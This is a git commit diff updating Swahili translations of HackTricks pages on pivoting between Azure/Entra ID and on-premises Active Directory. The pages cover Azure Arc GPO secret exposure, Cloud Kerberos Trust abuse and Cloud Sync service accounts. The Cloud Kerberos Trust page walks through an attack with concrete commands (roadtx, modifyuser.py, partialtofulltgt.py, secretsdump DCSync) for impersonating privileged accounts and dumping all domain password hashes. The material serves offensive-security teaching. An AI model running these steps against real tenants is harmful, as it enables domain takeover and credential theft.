Translated ['src/pentesting-cloud/azure-security/az-lateral-movement-clo

This commit is contained in:
Translator
2025-07-30 04:42:26 +00:00
parent 438750d169
commit ef48751a4c
14 changed files with 163 additions and 162 deletions
@@ -8,15 +8,15 @@ Sehemu hii inashughulikia mbinu za pivoting ili kuhamia kutoka kwa mpangilio wa
## Pivoting Techniques
- [**Arc Vulnerable GPO Desploy Script**](az-arc-vulnerable-gpo-deploy-script.md): Ikiwa mshambuliaji anaweza kudhibiti au kuunda akaunti ya kompyuta ya AD na kufikia sehemu ya Azure Arc GPO deployment, wanaweza kufungua siri ya Service Principal iliyohifadhiwa na kuitumia kujiandikisha kwa Azure kama huduma inayohusiana, na hivyo kuathiri kabisa mazingira ya Azure yaliyounganishwa.
- [**Arc Vulnerable GPO Desploy Script**](az-arc-vulnerable-gpo-deploy-script.md): Ikiwa mshambuliaji anaweza kudhibiti au kuunda akaunti ya kompyuta ya AD na kufikia sehemu ya Azure Arc GPO deployment, wanaweza kufungua siri ya Service Principal iliyohifadhiwa na kuitumia kuthibitisha kwenye Azure kama huduma inayohusiana, na hivyo kuathiri kabisa mazingira ya Azure yaliyounganishwa.
- [**Cloud Kerberos Trust**](az-cloud-kerberos-trust.md): Jinsi ya pivot kutoka Entra ID hadi AD wakati Cloud Kerberos Trust imewekwa. Msimamizi wa Kimataifa katika Entra ID (Azure AD) anaweza kutumia Cloud Kerberos Trust na API ya sync kuiga akaunti za AD zenye mamlaka ya juu, kupata tiketi zao za Kerberos au NTLM hashes, na kuathiri kabisa Active Directory ya ndani—hata kama akaunti hizo hazijawahi kuunganishwa na wingu—kivitendo kuunganisha kupandisha mamlaka kutoka wingu hadi AD.
- [**Cloud Kerberos Trust**](az-cloud-kerberos-trust.md): Jinsi ya kuhamia kutoka Entra ID hadi AD wakati Cloud Kerberos Trust imewekwa. Msimamizi wa Kimataifa katika Entra ID (Azure AD) anaweza kutumia Cloud Kerberos Trust na API ya sync kuiga akaunti za AD zenye mamlaka ya juu, kupata tiketi zao za Kerberos au NTLM hashes, na kuathiri kabisa Active Directory ya ndani—hata kama akaunti hizo hazijawahi kuunganishwa na wingu—kivitendo kuunganisha kupandisha mamlaka kutoka wingu hadi AD.
- [**Cloud Sync**](az-cloud-sync.md): Jinsi ya kutumia Cloud Sync kuhamia kutoka wingu hadi AD ya ndani na kinyume chake.
- [**Connect Sync**](az-connect-sync.md): Jinsi ya kutumia Connect Sync kuhamia kutoka wingu hadi AD ya ndani na kinyume chake.
- [**Domain Services**](az-domain-services.md): Ni nini Azure Domain Services na jinsi ya pivot kutoka Entra ID hadi AD inayozalisha.
- [**Domain Services**](az-domain-services.md): Ni nini Azure Domain Services na jinsi ya kuhamia kutoka Entra ID hadi AD inayozalisha.
- [**Federation**](az-federation.md): Jinsi ya kutumia Federation kuhamia kutoka wingu hadi AD ya ndani na kinyume chake.
@@ -26,7 +26,7 @@ Sehemu hii inashughulikia mbinu za pivoting ili kuhamia kutoka kwa mpangilio wa
- [**Pass the Certificate**](az-pass-the-certificate.md): Tengeneza cheti kulingana na PRT kuingia kutoka mashine moja hadi nyingine.
- [**Pass the Cookie**](az-pass-the-cookie.md): Nyakua cookies za Azure kutoka kwa kivinjari na uzitumie kuingia.
- [**Pass the Cookie**](az-pass-the-cookie.md): Nyakua kuki za Azure kutoka kwa kivinjari na uzitumie kuingia.
- [**Primary Refresh Token/Pass the PRT/Phishing PRT**](az-primary-refresh-token-prt.md): Ni nini PRT, jinsi ya kuiba na kuitumia kupata rasilimali za Azure kwa kuiga mtumiaji.
@@ -34,6 +34,6 @@ Sehemu hii inashughulikia mbinu za pivoting ili kuhamia kutoka kwa mpangilio wa
- [**Seamless SSO**](az-seamless-sso.md): Jinsi ya kutumia Seamless SSO kuhamia kutoka ndani hadi wingu.
- **Njia nyingine ya pivot kutoka wingu hadi On-Prem ni** [**kuabudu Intune**](../az-services/intune.md)
- **Njia nyingine ya kuhamia kutoka wingu hadi AD ya ndani ni** [**kuharibu Intune**](../az-services/intune.md)
{{#include ../../../banners/hacktricks-training.md}}
@@ -9,11 +9,11 @@ Azure Arc inaruhusu kuunganishwa kwa seva mpya za ndani (seva zilizounganishwa k
Wakati inatekelezwa, skripti ya DeployGPO.ps1 inafanya hatua zifuatazo:
1. Inaunda Azure Arc Servers Onboarding GPO ndani ya kikoa cha ndani.
2. Inakopya skripti ya kuingiza ya EnableAzureArc.ps1 kwenye sehemu ya mtandao iliyotengwa kwa ajili ya mchakato wa kuingiza, ambayo pia ina pakiti ya installer ya Windows.
2. Inakopya skripti ya kuingiza ya EnableAzureArc.ps1 kwenye sehemu ya mtandao iliyotengwa kwa ajili ya mchakato wa kuingiza, ambayo pia ina pakiti ya kusakinisha ya Windows.
Wakati wa kuendesha skripti hii, wasimamizi wa mfumo wanahitaji kutoa vigezo viwili vikuu: **ServicePrincipalId** na **ServicePrincipalClientSecret**. Aidha, inahitaji vigezo vingine kama vile kikoa, FQDN ya seva inayohifadhi sehemu, na jina la sehemu. Maelezo zaidi kama vile kitambulisho cha mpangilio, kundi la rasilimali, na taarifa nyingine muhimu lazima pia zitolewe kwa skripti.
Wakati wa kuendesha skripti hii, wasimamizi wa mfumo wanahitaji kutoa vigezo viwili vikuu: **ServicePrincipalId** na **ServicePrincipalClientSecret**. Aidha, inahitaji vigezo vingine kama vile kikoa, FQDN ya seva inayohifadhi sehemu hiyo, na jina la sehemu hiyo. Maelezo zaidi kama vile kitambulisho cha mpangilio, kundi la rasilimali, na taarifa nyingine muhimu lazima pia zitolewe kwa skripti.
Siri iliyosimbwa inaundwa katika saraka ya AzureArcDeploy kwenye sehemu iliyotajwa kwa kutumia usimbaji wa DPAPI-NG. Siri iliyosimbwa inahifadhiwa katika faili inayoitwa encryptedServicePrincipalSecret. Ushahidi wa hili unaweza kupatikana katika skripti ya DeployGPO.ps1, ambapo usimbaji unafanywa kwa kuita ProtectBase64 na $descriptor na $ServicePrincipalSecret kama ingizo. Maelezo ya descriptor yanajumuisha SID za Kundi la Kompyuta za Kikoa na Kiongozi wa Kikoa, kuhakikisha kwamba ServicePrincipalSecret inaweza kusimbwa tu na Kiongozi wa Kikoa na vikundi vya usalama vya Kompyuta za Kikoa, kama ilivyotajwa katika maoni ya skripti.
Siri iliyosimbwa inaundwa katika saraka ya AzureArcDeploy kwenye sehemu iliyotajwa kwa kutumia usimbaji wa DPAPI-NG. Siri iliyosimbwa inahifadhiwa katika faili inayoitwa encryptedServicePrincipalSecret. Ushahidi wa hili unaweza kupatikana katika skripti ya DeployGPO.ps1, ambapo usimbaji unafanywa kwa kuita ProtectBase64 na $descriptor na $ServicePrincipalSecret kama ingizo. Maelezo ya descriptor yanajumuisha SID za Kichaka cha Kompyuta ya Kikoa na Kichaka cha Msimamizi wa Kikoa, kuhakikisha kwamba ServicePrincipalSecret inaweza kusimbwa tu na vikundi vya usalama vya Msimamizi wa Kikoa na Kompyuta za Kikoa, kama ilivyotajwa katika maoni ya skripti.
```bash
# Encrypting the ServicePrincipalSecret to be decrypted only by the Domain Controllers and the Domain Computers security groups
$DomainComputersSID = "SID=" + $DomainComputersSID
@@ -26,9 +26,9 @@ $encryptedSecret = [DpapiNgUtil]::ProtectBase64($descriptor, $ServicePrincipalSe
Tuna masharti yafuatayo:
1. Tumefanikiwa kuingia kwenye mtandao wa ndani.
1. Tumepenya kwa mafanikio kwenye mtandao wa ndani.
2. Tuna uwezo wa kuunda au kudhibiti akaunti ya kompyuta ndani ya Active Directory.
3. Tumegundua sehemu ya mtandao inayoshikilia saraka ya AzureArcDeploy.
3. Tumegundua sehemu ya mtandao inayoshikilia directory ya AzureArcDeploy.
Kuna njia kadhaa za kupata akaunti ya mashine ndani ya mazingira ya AD. Moja ya njia maarufu ni kutumia quota ya akaunti ya mashine. Njia nyingine inahusisha kuathiri akaunti ya mashine kupitia ACLs zenye udhaifu au mipangilio mingine mbalimbali isiyo sahihi.
```bash
@@ -1,37 +1,37 @@
# Az - Cloud Kerberos Trust
{{#include ../../../../banners/hacktricks-training.md}}
{{#include ../../../banners/hacktricks-training.md}}
**Post hii ni muhtasari wa** [**https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/**](https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/) **ambayo inaweza kuangaliwa kwa maelezo zaidi kuhusu shambulio. Mbinu hii pia imejadiliwa katika** [**https://www.youtube.com/watch?v=AFay_58QubY**](https://www.youtube.com/watch?v=AFay_58QubY)**.**
**Huu ni muhtasari wa** [**https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/**](https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/) **ambayo inaweza kuangaliwa kwa maelezo zaidi kuhusu shambulio. Mbinu hii pia imejadiliwa katika** [**https://www.youtube.com/watch?v=AFay_58QubY**](https://www.youtube.com/watch?v=AFay_58QubY)**.**
## Muhtasari wa Uhusiano wa Kerberos Trust
**Cloud Kerberos Trust (Entra ID -> AD)** -- Kipengele hiki (sehemu ya Windows Hello for Business) kinaanzisha uaminifu wa upande mmoja ambapo AD ya ndani **inaamini Entra ID** kutoa tiketi za Kerberos kwa AD. Kuwawezesha kunaunda kitu cha kompyuta **AzureADKerberos$** katika AD (kinachonekana kama Kidhibiti cha Kikoa cha Kusoma tu) na akaunti iliyo na kiungo **`krbtgt_AzureAD`** (KRBTGT ya pili). Entra ID inashikilia funguo za akaunti hizi na inaweza kutoa "sehemu" za Kerberos TGT kwa watumiaji wa AD. Wajibu wa kudhibiti kikoa cha AD wataheshimu tiketi hizi, lakini kwa vizuizi kama vya RODC: kwa kawaida, **makundi yenye mamlaka ya juu (Domain Admins, Enterprise Admins, nk.) yanakataliwa** na watumiaji wa kawaida wanaruhusiwa. Hii inazuia Entra ID kuthibitisha wasimamizi wa kikoa kupitia uaminifu chini ya hali za kawaida. Hata hivyo, kama tutakavyoona, mshambuliaji mwenye mamlaka ya kutosha ya Entra ID anaweza kutumia muundo huu wa uaminifu.
**Cloud Kerberos Trust (Entra ID -> AD)** -- Kipengele hiki (sehemu ya Windows Hello for Business) kinaanzisha uaminifu wa upande mmoja ambapo AD ya ndani **inaamini Entra ID** kutoa tiketi za Kerberos kwa AD. Kuwawezesha kunaunda kitu cha kompyuta **AzureADKerberos$** katika AD (kinachonekana kama Kidhibiti cha Kikoa cha Kusoma tu) na akaunti iliyounganishwa **`krbtgt_AzureAD`** (KRBTGT ya pili). Entra ID inashikilia funguo za akaunti hizi na inaweza kutoa "sehemu" za Kerberos TGT kwa watumiaji wa AD. Wajibu wa kudhibiti kikoa cha AD wataheshimu tiketi hizi, lakini kwa vizuizi kama vya RODC: kwa kawaida, **makundi yenye mamlaka ya juu (Domain Admins, Enterprise Admins, nk.) yanakataliwa** na watumiaji wa kawaida wanaruhusiwa. Hii inazuia Entra ID kuthibitisha wasimamizi wa kikoa kupitia uaminifu chini ya hali za kawaida. Hata hivyo, kama tutakavyoona, mshambuliaji mwenye mamlaka ya kutosha ya Entra ID anaweza kutumia muundo huu wa uaminifu.
## Kuhamasisha kutoka Entra ID hadi On-Prem AD
**Hali:** Shirika lengwa lina **Cloud Kerberos Trust** limewezeshwa kwa uthibitisho usio na nenosiri. Mshambuliaji amepata mamlaka ya **Global Administrator** katika Entra ID (Azure AD) lakini bado **hajadhibiti** AD ya ndani. Mshambuliaji pia ana mguu na ufikiaji wa mtandao kwa Kidhibiti cha Kikoa (kupitia VPN au VM ya Azure katika mtandao wa mseto). Kwa kutumia uaminifu wa wingu, mshambuliaji anaweza kutumia udhibiti wa Azure AD kupata mguu wa kiwango cha **Domain Admin** katika AD.
**Hali:** Shirika lengwa lina **Cloud Kerberos Trust** iliyowezeshwa kwa uthibitisho usio na nenosiri. Mshambuliaji amepata mamlaka ya **Global Administrator** katika Entra ID (Azure AD) lakini bado **hajadhibiti** AD ya ndani. Mshambuliaji pia ana mguu na ufikiaji wa mtandao kwa Kidhibiti cha Kikoa (kupitia VPN au VM ya Azure katika mtandao wa mseto). Kwa kutumia uaminifu wa wingu, mshambuliaji anaweza kutumia udhibiti wa Azure AD kupata mguu wa kiwango cha **Domain Admin** katika AD.
**Vigezo vya Msingi:**
**Mahitaji:**
- **Cloud Kerberos Trust** imewekwa katika mazingira ya mseto (kiashiria: akaunti ya `AzureADKerberos$` RODC inapatikana katika AD).
- Mshambuliaji ana **Global Admin (au Hybrid Identity Admin)** haki katika mpangilio wa Entra ID (majukumu haya yanaweza kutumia **synchronization API** ya AD Connect kubadilisha watumiaji wa Azure AD).
- Mshambuliaji ana haki za **Global Admin (au Hybrid Identity Admin)** katika mpangilio wa Entra ID (majukumu haya yanaweza kutumia **synchronization API** ya AD Connect kubadilisha watumiaji wa Azure AD).
- Angalau akaunti moja ya **mtumiaji wa mseto** (inapatikana katika AD na AAD) ambayo mshambuliaji anaweza kuthibitisha kama. Hii inaweza kupatikana kwa kujua au kurekebisha akidi zake au kupewa njia isiyo na nenosiri (k.m. Pass ya Ufikiaji wa Muda) ili kuunda Tokeni ya Kurefreshi ya Kwanza (PRT) kwa ajili yake.
- Angalau akaunti moja ya **mtumiaji wa mseto** (inapatikana katika AD na AAD) ambayo mshambuliaji anaweza kuthibitisha kama. Hii inaweza kupatikana kwa kujua au kurekebisha akidi zake au kupewa njia isiyo na nenosiri (mfano, Pass ya Ufikiaji wa Muda) ili kuunda Tokeni ya Kurejesha Kwanza (PRT) kwa ajili yake.
- Akaunti ya **lengo la AD ya ndani** yenye mamlaka ya juu ambayo **siyo** katika sera ya "kukataa" ya RODC ya kawaida. Katika mazoezi, lengo bora ni akaunti ya **AD Connect sync** (mara nyingi inaitwa **MSOL_***), ambayo ina haki za DCSync (replika) katika AD lakini kwa kawaida si mwanachama wa makundi ya usimamizi yaliyojengwa. Akaunti hii kwa kawaida haiwezi kuhamasishwa kwa Entra ID, na kufanya SID yake ipatikane kwa ajili ya kujifanya bila mgongano.
- Akaunti ya **lengo la AD ya ndani** yenye mamlaka ya juu ambayo **siyo** katika sera ya "kukataa" ya RODC ya kawaida. Katika mazoezi, lengo bora ni akaunti ya **AD Connect sync** (mara nyingi inaitwa **MSOL_***), ambayo ina haki za DCSync (kurudi) katika AD lakini kwa kawaida si mwanachama wa makundi ya usimamizi yaliyojengwa. Akaunti hii kwa kawaida haiunganishwi na Entra ID, na kufanya SID yake ipatikane kwa ajili ya kujifanya bila mgongano.
**Hatua za Shambulio:**
1. **Pata Ufikiaji wa Azure AD sync API:** Kwa kutumia akaunti ya Global Admin, pata tokeni ya ufikiaji kwa **Provisioning (sync) API** ya Azure AD. Hii inaweza kufanywa kwa kutumia zana kama **ROADtools** au **AADInternals**. Kwa mfano, kwa kutumia ROADtools (roadtx):
1. **Pata Ufikiaji wa Azure AD sync API:** Kwa kutumia akaunti ya Global Admin, pata tokeni ya ufikiaji kwa Azure AD **Provisioning (sync) API**. Hii inaweza kufanywa kwa kutumia zana kama **ROADtools** au **AADInternals**. Kwa mfano, kwa kutumia ROADtools (roadtx):
```bash
# Using roadtx to get an Azure AD Graph token (no MFA)
roadtx gettokens -u <GlobalAdminUPN> -p <Password> --resource aadgraph
```
*(Badala yake, `Connect-AADInt` ya AADInternals inaweza kutumika kuthibitisha kama Global Admin.)*
2. **Badilisha Sifa za Mtumiaji wa Hybrid za On-Prem:** Tumia Azure AD **synchronization API** kuweka **onPremises Security Identifier (SID)** na **onPremises SAMAccountName** za mtumiaji wa hybrid uliochaguliwa ili ziendane na akaunti ya AD inayolengwa. Hii kwa ufanisi inamwambia Azure AD kwamba mtumiaji wa wingu anahusiana na akaunti ya on-prem ambayo tunataka kujifanya. Tumia zana za wazi **ROADtools Hybrid**:
2. **Badilisha Sifa za Mtumiaji wa Hybrid za On-Prem:** Tumia Azure AD **synchronization API** kuweka **onPremises Security Identifier (SID)** na **onPremises SAMAccountName** za mtumiaji wa hybrid uliochaguliwa ili ziendane na akaunti ya AD inayolengwa. Hii kwa ufanisi inamwambia Azure AD kwamba mtumiaji wa wingu anahusiana na akaunti ya on-prem ambayo tunataka kuiga. Tumia zana za wazi za **ROADtools Hybrid**:
```bash
# Example: modify a hybrid user to impersonate the MSOL account
python3 modifyuser.py -u <GlobalAdminUPN> -p <Password>\
@@ -40,30 +40,30 @@ python3 modifyuser.py -u <GlobalAdminUPN> -p <Password>\
```
> `sourceAnchor` (ID isiyobadilika) ya mtumiaji inahitajika ili kubaini kitu cha Azure AD kinachohitaji kubadilishwa. Chombo kinaweka SID ya mtumiaji wa hybrid na jina la akaunti ya SAM kwa thamani za lengo (kwa mfano, SID na SAM ya akaunti ya MSOL_xxxx). Azure AD kwa kawaida hairuhusu kubadilisha sifa hizi kupitia Graph (zinakuwa za kusoma tu), lakini API ya huduma ya usawazishaji inaruhusu na Wasimamizi wa Global wanaweza kuitumia kazi hii ya usawazishaji.
3. **Pata TGT ya Sehemu kutoka Azure AD:** Baada ya kubadilisha, thibitisha kama mtumiaji wa hybrid kwa Azure AD (kwa mfano, kwa kupata PRT kwenye kifaa au kutumia akidi zao). Wakati mtumiaji anapoingia (hasa kwenye kifaa kilichounganishwa na domain au kilichounganishwa na Entra), Azure AD itatoa **TGT ya sehemu ya Kerberos (TGT**<sub>**AD**</sub>) kwa akaunti hiyo kwa sababu Cloud Kerberos Trust imewezeshwa. TGT hii ya sehemu imefungwa kwa ufunguo wa AzureADKerberos$ RODC na inajumuisha **target SID** tuliyoipanga. Tunaweza kuiga hii kwa kuomba PRT kwa mtumiaji kupitia ROADtools:
3. **Pata TGT ya Sehemu kutoka Azure AD:** Baada ya kubadilisha, thibitisha kama mtumiaji wa hybrid kwa Azure AD (kwa mfano, kwa kupata PRT kwenye kifaa au kutumia akidi zao). Wakati mtumiaji anapoingia (hasa kwenye kifaa kilichounganishwa na domain au kilichounganishwa na Entra), Azure AD itatoa **TGT ya sehemu ya Kerberos (TGT**<sub>**AD**</sub>) kwa akaunti hiyo kwa sababu Cloud Kerberos Trust imewezeshwa. TGT hii ya sehemu imefungwa kwa funguo ya AzureADKerberos$ RODC na inajumuisha **target SID** tuliyoipanga. Tunaweza kuiga hii kwa kuomba PRT kwa mtumiaji kupitia ROADtools:
```bash
roadtx getprt -u <HybridUserUPN> -p <Password> -d <DeviceID_or_Cert>
```
Hii inatoa faili ya `.prt` inayojumuisha TGT ya sehemu na ufunguo wa kikao. Ikiwa akaunti ilikuwa na nenosiri la wingu pekee, Azure AD bado inajumuisha TGT_AD katika jibu la PRT.
Hii inatoa faili la `.prt` linalojumuisha TGT ya sehemu na ufunguo wa kikao. Ikiwa akaunti ilikuwa na nenosiri la wingu pekee, Azure AD bado inajumuisha TGT_AD katika jibu la PRT.
4. **Badilisha TGT ya Sehemu kwa TGT Kamili (katika AD):** TGT ya sehemu sasa inaweza kuwasilishwa kwa Kichapisho cha Kikoa cha ndani ili kupata **TGT kamili** kwa akaunti lengwa. Tunaifanya hii kwa kutekeleza ombi la TGS kwa huduma ya `krbtgt` (huduma kuu ya TGT ya kikoa) -- kimsingi kuboresha tiketi kuwa TGT ya kawaida yenye PAC kamili. Zana zinapatikana kujiandaa kubadilishana hii. Kwa mfano, kutumia skripti ya ROADtools Hybrid:
```bash
# Use the partial TGT from the PRT file to get a full TGT and NTLM hash
python3 partialtofulltgt.py -p roadtx.prt -o full_tgt.ccache --extract-hash
```
Hii script (au sawa na Impacket) itawasiliana na Domain Controller na kupata TGT halali kwa akaunti ya AD ya lengo, ikiwa ni pamoja na NTLM hash ya akaunti ikiwa kiendelezi maalum cha Kerberos kinatumika. Kiendelezi cha **`KERB-KEY-LIST-REQ`** kimejumuishwa kiotomatiki ili kuomba DC irudishe NTLM hash ya akaunti ya lengo katika jibu lililofichwa. Matokeo ni cache ya akidi (`full_tgt.ccache`) kwa akaunti ya lengo *au* NTLM password hash iliyopatikana.
Hii script (au sawa na Impacket) itawasiliana na Domain Controller na kupata TGT halali kwa akaunti ya AD ya lengo, ikiwa ni pamoja na NTLM hash ya akaunti ikiwa kiendelezi maalum cha Kerberos kinatumika. Kiendelezi cha **`KERB-KEY-LIST-REQ`** kinajumuishwa kiotomatiki ili kuomba DC irejeshe NTLM hash ya akaunti ya lengo katika jibu lililofichwa. Matokeo ni cache ya akidi (`full_tgt.ccache`) kwa akaunti ya lengo *au* NTLM password hash iliyopatikana.
5. **Jifanya kama Lengo na Pandisha hadi Domain Admin:** Sasa mshambuliaji kwa ufanisi **anadhibiti akaunti ya AD ya lengo**. Kwa mfano, ikiwa lengo lilikuwa akaunti ya AD Connect **MSOL account**, ina haki za kuiga kwenye directory. Mshambuliaji anaweza kufanya shambulio la **DCSync** akitumia akidi za akaunti hiyo au Kerberos TGT ili kutupa password hashes kutoka AD (ikiwemo akaunti ya domain KRBTGT). Kwa mfano:
5. **Jifanya kama Lengo na Pandisha hadi Domain Admin:** Sasa mshambuliaji kwa ufanisi **anadhibiti akaunti ya AD ya lengo**. Kwa mfano, ikiwa lengo lilikuwa akaunti ya AD Connect **MSOL**, ina haki za kuiga kwenye directory. Mshambuliaji anaweza kufanya shambulio la **DCSync** akitumia akidi za akaunti hiyo au Kerberos TGT ili kutupa password hashes kutoka AD (ikiwemo akaunti ya domain KRBTGT). Kwa mfano:
```bash
# Using impacket's secretsdump to DCSync as the MSOL account (using NTLM hash)
secretsdump.py 'AD_DOMAIN/<TargetSAM>$@<DC_IP>' -hashes :<NTLM_hash> LOCAL
```
Hii inatoa hash za nywila za watumiaji wote wa AD, ikimpa mshambuliaji hash ya KRBTGT (ikimruhusu kuunda tiketi za Kerberos za kikoa kwa hiari) na kwa ufanisi **Domain Admin** ruhusa juu ya AD. Ikiwa akaunti ya lengo ilikuwa mtumiaji mwingine mwenye mamlaka, mshambuliaji angeweza kutumia TGT kamili kupata rasilimali yoyote ya kikoa kama mtumiaji huyo.
Hii inatoa hash za nywila za watumiaji wote wa AD, ikimpa mshambuliaji hash ya KRBTGT (ikimruhusu kuunda tiketi za Kerberos za eneo kwa hiari) na kwa ufanisi **Domain Admin** haki juu ya AD. Ikiwa akaunti ya lengo ilikuwa mtumiaji mwingine mwenye mamlaka, mshambuliaji angeweza kutumia TGT kamili kupata rasilimali yoyote ya eneo kama mtumiaji huyo.
6. **Usafi:** Kwa hiari, mshambuliaji anaweza kurejesha `onPremisesSAMAccountName` na SID za mtumiaji wa Azure AD zilizobadilishwa kupitia API hiyo hiyo au kwa kuondoa tu mtumiaji wa muda aliyeundwa. Katika kesi nyingi, mzunguko ujao wa Azure AD Connect utarudisha kiotomatiki mabadiliko yasiyoruhusiwa kwenye sifa zilizounganishwa. (Hata hivyo, kwa hatua hii uharibifu umefanyika -- mshambuliaji ana ruhusa za DA.)
6. **Usafishaji:** Kwa hiari, mshambuliaji anaweza kurejesha `onPremisesSAMAccountName` na SID za mtumiaji wa Azure AD zilizobadilishwa kupitia API hiyo hiyo au kwa kuondoa tu mtumiaji wa muda aliyeundwa. Katika kesi nyingi, mzunguko ujao wa usawazishaji wa Azure AD Connect utaondoa kiotomatiki mabadiliko yasiyoruhusiwa kwenye sifa zilizounganishwa. (Hata hivyo, kwa hatua hii uharibifu umefanyika -- mshambuliaji ana haki za DA.)
> [!WARNING]
> Kwa kutumia vibaya uaminifu wa wingu na mekanizma ya usawazishaji, Msimamizi wa Kimataifa wa Azure AD anaweza kujifanya kuwa karibu *yoyote* akaunti ya AD ambayo haijalindwa wazi na sera ya RODC, hata kama akaunti hiyo haijawahi kusawazishwa na wingu. Katika usanidi wa kawaida, hii **inaunganisha uaminifu kamili kutoka kwa kuathiriwa kwa Azure AD hadi kuathiriwa kwa AD ya ndani**.
> Kwa kutumia vibaya uaminifu wa wingu na mekanizma ya usawazishaji, Msimamizi wa Kimataifa wa Azure AD anaweza kujifanya kuwa akaunti karibu *yoyote* ya AD ambayo haijalindwa wazi na sera ya RODC, hata kama akaunti hiyo haijawahi kusawazishwa na wingu. Katika usanidi wa kawaida, hii **inaunganisha uaminifu kamili kutoka kwa kuathiriwa kwa Azure AD hadi kuathiriwa kwa AD ya ndani**.
## References
@@ -72,4 +72,4 @@ Hii inatoa hash za nywila za watumiaji wote wa AD, ikimpa mshambuliaji hash ya K
{{#include ../../../../banners/hacktricks-training.md}}
{{#include ../../../banners/hacktricks-training.md}}
@@ -1,28 +1,28 @@
# Az - Cloud Sync
{{#include ../../../../banners/hacktricks-training.md}}
{{#include ../../../banners/hacktricks-training.md}}
## Basic Information
**Cloud Sync** ni njia mpya ya Azure ya **kusawazisha watumiaji kutoka AD hadi Entra ID**.
[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/what-is-cloud-sync) Microsoft Entra Cloud Sync ni toleo jipya kutoka Microsoft lililoundwa kukidhi na kufikia malengo yako ya utambulisho wa mchanganyiko kwa kusawazisha watumiaji, vikundi, na mawasiliano hadi Microsoft Entra ID. Inafanikiwa kufanya hivyo kwa kutumia wakala wa usambazaji wa wingu wa Microsoft Entra badala ya programu ya Microsoft Entra Connect. Hata hivyo, inaweza kutumika pamoja na Microsoft Entra Connect Sync.
[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/what-is-cloud-sync) Microsoft Entra Cloud Sync ni toleo jipya kutoka Microsoft lililoundwa ili kukidhi na kufikia malengo yako ya utambulisho wa mchanganyiko kwa kusawazisha watumiaji, vikundi, na mawasiliano hadi Microsoft Entra ID. Inafanikiwa kwa kutumia wakala wa usambazaji wa wingu wa Microsoft Entra badala ya programu ya Microsoft Entra Connect. Hata hivyo, inaweza kutumika pamoja na Microsoft Entra Connect Sync.
### Principals Generated
Ili hii ifanye kazi, baadhi ya wakala huundwa katika Entra ID na kwenye directory ya On-Premise:
Ili hii ifanye kazi, baadhi ya wakala huundwa katika Entra ID na kwenye saraka ya On-Premise:
- Katika Entra ID, mtumiaji `On-Premises Directory Synchronization Service Account` (`ADToAADSyncServiceAccount@carloshacktricks.onmicrosoft.com`) ameundwa na jukumu **`Directory Synchronization Accounts`** (`d29b2b05-8046-44ba-8758-1e26182fcf32`).
> [!WARNING]
> Jukumu hili lilikuwa na ruhusa nyingi za kipaumbele na linaweza kutumika [**kuinua ruhusa hata kwa msimamizi wa kimataifa**](https://medium.com/tenable-techblog/stealthy-persistence-with-directory-synchronization-accounts-role-in-entra-id-63e56ce5871b). Hata hivyo, Microsoft iliamua kuondoa ruhusa zote za jukumu hili na kupewa tu moja mpya **`microsoft.directory/onPremisesSynchronization/standard/read`** ambayo haikuruhusu kufanya kitendo chochote cha kipaumbele (kama kubadilisha nenosiri au sifa za mtumiaji au kuongeza akidi mpya kwa SP).
> Jukumu hili lilikuwa na ruhusa nyingi za kipaumbele na linaweza kutumika [**kuinua ruhusa hata kwa msimamizi wa kimataifa**](https://medium.com/tenable-techblog/stealthy-persistence-with-directory-synchronization-accounts-role-in-entra-id-63e56ce5871b). Hata hivyo, Microsoft iliamua kuondoa ruhusa zote za jukumu hili na kupewa tu moja mpya **`microsoft.directory/onPremisesSynchronization/standard/read`** ambayo haimruhusu kufanya kitendo chochote cha kipaumbele (kama kubadilisha nenosiri au sifa za mtumiaji au kuongeza akidi mpya kwa SP).
- Katika Entra ID pia kundi **`AAD DC Administrators`** limeundwa bila wanachama au wamiliki. Kundi hili ni muhimu ikiwa [`Microsoft Entra Domain Services`](./az-domain-services.md) inatumika.
- Katika AD, ama Akaunti ya Huduma **`provAgentgMSA`** imeundwa na SamAcountName kama **`pGMSA_<id>$@domain.com`** (`Get-ADServiceAccount -Filter * | Select Name,SamAccountName`), au moja ya kawaida yenye [**ruhusa hizi zinahitajika**](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/how-to-prerequisites?tabs=public-cloud#custom-gmsa-account). Kawaida moja ya kawaida huundwa.
- Katika AD, ama Akaunti ya Huduma **`provAgentgMSA`** imeundwa na SamAcountName kama **`pGMSA_<id>$@domain.com`** (`Get-ADServiceAccount -Filter * | Select Name,SamAccountName`), au moja ya kawaida yenye [**ruhusa hizi zinahitajika**](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/how-to-prerequisites?tabs=public-cloud#custom-gmsa-account). Kawaida, ile ya kawaida inaundwa.
> [!WARNING]
> Kati ya ruhusa nyingine, Akaunti ya Huduma **`provAgentgMSA`** ina ruhusa za DCSync, ikiruhusu **mtu yeyote anayepata udhibiti wake kuathiri directory nzima**. Kwa maelezo zaidi kuhusu [DCSync angalia hii](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/dcsync.html).
> Kati ya ruhusa nyingine, Akaunti ya Huduma **`provAgentgMSA`** ina ruhusa za DCSync, ikiruhusu **mtu yeyote anayekabiliwa nayo kuathiri saraka nzima**. Kwa maelezo zaidi kuhusu [DCSync angalia hii](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/dcsync.html).
> [!NOTE]
> Kwa kawaida watumiaji wa vikundi vya kipaumbele vinavyojulikana kama Domain Admins wenye sifa **`adminCount` kuwa 1 hawasawazishwi** na Entra ID kwa sababu za usalama. Hata hivyo, watumiaji wengine ambao ni sehemu ya vikundi vya kipaumbele bila sifa hii au ambao wamepewa ruhusa za juu moja kwa moja **wanaweza kusawazishwa**.
@@ -36,21 +36,21 @@ az-connect-sync.md
{{#endref}}
- **Kusawazisha hash ya nenosiri** kunaweza kuwezeshwa ili watumiaji waweze **kuingia katika Entra ID wakitumia nenosiri zao kutoka AD**. Zaidi ya hayo, kila wakati nenosiri linapobadilishwa katika AD, litasasishwa katika Entra ID.
